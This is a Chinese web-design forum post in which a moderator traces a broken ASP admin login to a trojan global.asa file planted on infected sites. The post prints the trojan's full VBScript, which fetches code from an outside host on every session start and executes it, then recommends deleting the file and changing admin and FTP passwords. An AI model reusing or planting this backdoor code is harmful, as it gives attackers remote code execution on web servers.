用户名称: 用户密码:
网站建设快速入口 | 宏蓝主页 | 加入收藏

广州网站建设|网站制作公司|网页设计论坛--广州宏蓝科技公司官方论坛网站建设专栏网站建设技术应用无法写入/传递session|后台无法登陆|global.asa
    
 
无法写入/传递session|后台无法登陆|global.asa
发起人:macroblue  回复数:0  浏览数:4346  最后更新:2012/2/20 10:51:46 by macroblue
分享到: 微信 更多

选择查看  帖子排序:
2012/2/20 10:51:46
macroblue





师长

角  色:版主
发 帖 数:8929
经 验 值:17688
注册时间:2009/7/23
联系 收藏 编辑 删除
无法写入/传递session|后台无法登陆|global.asa

最近遇到个郁闷的问题,以前好端端的网站管理后台可以登陆,突然之间无法登陆了。

检查一下登陆的入口以及判断条件,发现session无法写入,拿一样的系统来比较,更是~

一样的系统,不同的两个网站,在一样的服务器上运行,一个行,一个不行。。。

一样的系统,不同的两个网站,在一样的本地机上运行,一个行,一个不行。。。

以为是服务器配置的问题,结果不是。

以为是IIS版本的问题,结果也不是。

以为是目录权限的问题,结果也不是。

神马没有,浮云压顶,正当山重水复疑无路貌似黔驴技穷之际,想到前段时间有几个网站中了病毒,于是开始检查网页文件。

检查网页文件的时候,发现中病毒的网站多了一个global.asa的文件,打开global.asa的文件一看,问题终于找到了。发现该文件有以下一段代码:

sub Session_OnStart
 u r l="http://dizhi1.xiazaia.info/txt/getExec.gif"
 Set ObjXMLHTTP=Server.CreateObject("MSXML2.serverXMLHTTP")
 ObjXMLHTTP.Open "GET",url,False
 ObjXMLHTTP.setRequestHeader "User-Agent",url
 ObjXMLHTTP.send
 GetHtml=ObjXMLHTTP.responseBody
 Set ObjXMLHTTP=Nothing
 set objStream = Server.CreateObject("Adodb.Stream")
 objStream.Type = 1
 objStream.Mode =3
 objStream.Open
 objStream.Write GetHtml
 objStream.Position = 0
 objStream.Type = 2
 objStream.Charset = "gb2312"
 GetHtml = objStream.ReadText
 objStream.Close
  Session("str") = GetHtml
 if instr(GetHtml,"by*aming")>0 then
  execute GetHtml
 end if
end sub

万恶的黑客呀,兵荒马乱的,看来黑客的日子也不好过,拿些小网站意淫入侵一下。

不罗嗦太多,解决的办法如下:

1、直接删除global.asa文件,不让这个木马作祟,密码可能就是这样被偷了;

2、建议立马修改网站后台管理员的账号密码,以免被低级黑客意淫随意删改网页文件及网站数据;

3、建议立马修改网站FTP密码,以免被黑客利用,批量篡改网页文件及网站数据。

当然,实际情况实际分析,我Dang原则是实事求是,以上内容仅代表个人观点,仅供参考,不具备指引,网友慎重。

标签:无法传递session,无法写入session


客服热线:020-85562980 客服邮箱:service@macroblue.net
联系地址:广州中山大道89号国家软件产业基地天河软件园华景园区12-S05
版权所有 © 2003-2011    网站建设宏蓝科技Macroblue.NET